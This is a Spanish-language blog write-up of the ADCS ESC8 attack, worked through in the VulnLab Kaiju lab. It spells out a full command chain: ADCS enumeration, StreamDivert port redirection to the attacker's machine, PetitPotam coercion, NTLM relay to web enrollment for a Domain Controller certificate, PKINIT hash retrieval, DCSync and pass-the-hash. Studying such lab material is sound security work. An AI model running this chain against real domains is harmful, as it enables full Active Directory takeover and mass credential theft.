Active Directory Certificate Services: Abusando de ADCS ESC8 (NTLM Relay)
Introducción
ESC8 es una vulnerabilidad en Active Directory Certificate Services (ADCS) que ocurre cuando el servicio de Web Enrollment está habilitado sobre HTTP sin cifrado, o sobre HTTPS sin Channel Binding (EPA) habilitado.
El endpoint vulnerable es:
1
http://<CA>/certsrv/certfnsh.asp
Este endpoint acepta autenticación NTLM sin signing ni channel binding, lo que lo hace vulnerable a ataques de NTLM Relay. En esencia, un atacante puede interceptar la autenticación NTLM de una cuenta privilegiada (como la cuenta de máquina del Domain Controller) y reenviarla al servicio de ADCS para obtener un certificado válido en nombre de esa cuenta.
¿Por qué es crítico?
Las cuentas de máquina del Domain Controller (BERSRV100$) tienen privilegios elevados en el dominio. Si logramos obtener un certificado válido a nombre del DC, podemos encadenar los siguientes pasos:
1
Certificado DC → PKINIT → NT hash del DC → DCSync → todos los hashes del dominio
Esto nos lleva directamente a comprometer todo el dominio de Active Directory.
Escenario
Esta técnica fue encontrada durante la resolución del Mini ProLab Kaiju de VulnLab. La infraestructura del laboratorio es la siguiente:
1
2
3
4
10.10.14.59 Kali Linux → máquina atacante
172.16.90.50 BERSRV200 → punto de pivote (comprometido previamente)
172.16.90.60 BERSRV100 → Domain Controller + CA raíz (kaiju-CA)
172.16.90.61 BERSRV105 → Subordinate CA (kaiju-sub-CA) ← ESC8 aquí
Fase 1 — Enumeración de ADCS
Antes de ejecutar el ataque, necesitamos confirmar que existe ADCS en la red y que alguna CA tiene ESC8. Comenzamos con NetExec para descubrir si hay un servidor de ADCS:
1
nxc ldap 172.16.90.60 -u clare.frost -p 'a...' -d kaiju.vl -M adcs
NetExec nos confirma que hay dos CAs en el dominio: kaiju-CA en BERSRV100 y kaiju-sub-CA en BERSRV105. Ahora usamos Certipy para buscar vulnerabilidades específicas:
1
certipy find -u clare.frost -p 'a...' -dc-ip 172.16.90.60 -vulnerable -stdout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0
CA Name : kaiju-sub-CA
DNS Name : BERSRV105.kaiju.vl
Web Enrollment
HTTP
Enabled : True ← sin cifrado, vulnerable
HTTPS
Enabled : False
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled over HTTP.
1
CA Name : kaiju-CA
DNS Name : BERSRV100.kaiju.vl
Web Enrollment
HTTP
Enabled : True
HTTPS
Enabled : True
Channel Binding (EPA) : False ← sin protección
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled over HTTP and HTTPS, and Channel Binding is disabled.
Certipy confirma ESC8 en ambas CAs. Usaremos kaiju-sub-CA en BERSRV105 como objetivo del relay ya que tiene web enrollment HTTP habilitado sin ninguna protección adicional.
Fase 2 — Preparación del entorno
El problema de red
Nuestra máquina atacante Kali (10.10.14.59) está en la red VPN de HTB y no tiene alcance directo a la red interna 172.16.90.0/24. Para resolver esto usamos Ligolo-ng para pivotar a través de BERSRV200, que sí tiene acceso a ambas redes.
Sin embargo, hay un problema adicional: para que el relay funcione, el DC necesita autenticarse hacia nosotros en el puerto 445. Pero ese puerto en BERSRV200 ya está ocupado por el servicio SMB nativo de Windows y no puede liberarse fácilmente.
La solución es port bending con StreamDivert — una herramienta que intercepta tráfico de red a nivel de kernel en BERSRV200 y lo redirige transparentemente hacia nuestra Kali, sin necesidad de liberar el puerto 445.
Port Bending con StreamDivert
StreamDivert: https://github.com/jellever/StreamDivert
Subimos los tres archivos necesarios a BERSRV200 como Administrator:
1
scp StreamDivert.exe WinDivert64.sys WinDivert.dll "Administrator@10.13.38.41:C:/temp/"
Creamos el archivo de configuración config.txt en BERSRV200:
1
tcp < 445 0.0.0.0 -> 10.10.14.59 445
Esta regla le dice a StreamDivert que todo el tráfico TCP entrante al puerto 445 desde cualquier origen debe ser redirigido a nuestra Kali en 10.10.14.59:445. Ejecutamos como Administrator:
1
.\StreamDivert.exe config.txt -f -v
Con esto, cualquier autenticación NTLM que llegue a BERSRV200:445 será transparentemente redirigida a nuestra Kali, donde ntlmrelayx estará esperando.
Fase 3 — Ejecución del ataque
Con el entorno preparado, el ataque requiere dos terminales corriendo en paralelo.
Terminal 1 — ntlmrelayx escuchando en Kali
Levantamos ntlmrelayx apuntando al endpoint de web enrollment de BERSRV105:
1
2
impacket-ntlmrelayx -t http://172.16.90.61/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
-tapunta al ADCS vulnerable (kaiju-sub-CA en BERSRV105)--adcsactiva el modo de relay hacia ADCS para solicitar certificados--template DomainControllerespecifica la plantilla de certificado a solicitar-smb2supporthabilita soporte para SMBv2
Terminal 2 — Coerción del DC con PetitPotam
Usamos PetitPotam para forzar al DC a autenticarse hacia BERSRV200 abusando de funciones MS-EFSRPC:
1
2
python3 PetitPotam.py -u 'Clare.Frost' -p 'a...' \
172.16.90.50 172.16.90.60
172.16.90.50→ listener (BERSRV200, donde StreamDivert redirige a Kali)172.16.90.60→ target (DC BERSRV100 que queremos coercionar)
Flujo del relay
Una vez ejecutados ambos comandos, el flujo completo es el siguiente:
1
2
3
4
5
6
7
8
9
10
DC (172.16.90.60)
↓ PetitPotam lo fuerza a autenticarse hacia BERSRV200:445
BERSRV200:445 (172.16.90.50)
↓ StreamDivert intercepta el tráfico y lo redirige
Kali:445 (10.10.14.59)
↓ ntlmrelayx captura la autenticación de BERSRV100$
↓ y la reenvía al endpoint HTTP de ADCS haciéndose pasar por el DC
BERSRV105:80 (172.16.90.61)
↓ ADCS cree que es el DC solicitando un certificado y lo emite
BERSRV100.pfx ← certificado de BERSRV100$ obtenido
ntlmrelayx nos confirma que el relay fue exitoso y escribe el certificado en disco:
1
2
3
4
[*] (SMB): Authenticating connection from KAIJU/BERSRV100$@10.13.38.41 against http://172.16.90.61 SUCCEED
[*] http://KAIJU/BERSRV100$@172.16.90.61 -> GOT CERTIFICATE! ID 9
[*] http://KAIJU/BERSRV100$@172.16.90.61 -> Writing PKCS#12 certificate to ./BERSRV100.pfx
[*] http://KAIJU/BERSRV100$@172.16.90.61 -> Certificate successfully written to file
Fase 4 — De certificado a Domain Admin
Con el certificado BERSRV100.pfx en mano, el camino hacia Domain Admin se vuelve directo.
Obtener NT hash via PKINIT
Usamos Certipy para autenticarnos con el certificado via PKINIT — un mecanismo de autenticación Kerberos que acepta certificados en lugar de contraseñas. Esto nos devuelve el NT hash de la cuenta de máquina del DC:
1
2
3
4
certipy auth -pfx BERSRV100.pfx \
-dc-ip 172.16.90.60 \
-username 'BERSRV100$' \
-domain kaiju.vl
1
2
3
4
[*] Got TGT
[*] Trying to retrieve NT hash for 'bersrv100$'
[*] Got hash for 'bersrv100$@kaiju.vl':
aad3b435b51404eeaad3b435b51404ee:cb55XXXXXXXXXXX
DCSync — dump completo del dominio
Con el NT hash de la cuenta de máquina del DC podemos ejecutar DCSync, que replica la base de datos de usuarios del DC hacia nosotros obteniendo los hashes de todos los usuarios del dominio:
1
2
3
impacket-secretsdump \
-hashes aad3b435b51404eeaad3b435b51404ee:cb55XXXXXXXXXXX \
'kaiju.vl/BERSRV100$'@172.16.90.60
1
2
3
4
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0b46XXXXXXXXXXX:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:e974XXXXXXXXXXX:::
kaiju.vl\clare.frost:1105:...
kaiju.vl\sasrv200:1104:...
Domain Admin
Con el hash del Administrator del dominio usamos Pass-the-Hash para conectarnos a los servidores sin necesitar la contraseña en texto plano:
1
2
3
4
5
# Domain Controller
evil-winrm -i 172.16.90.60 -u Administrator -H 0b46XXXXXXXXXXX
# Subordinate CA
evil-winrm -i 172.16.90.61 -u Administrator -H 0b46XXXXXXXXXXX
Gracias por Leer, si te ayudó en algo, entonces cumplí con mi objetivo, y si tienes alguna duda sobre el post o alguna mejora, estan mis redes en este blog y contactame.
Para terminar una Frase:
“Lo que sabemos es una gota, lo que ignoramos es un océano.”
— Isaac Newton





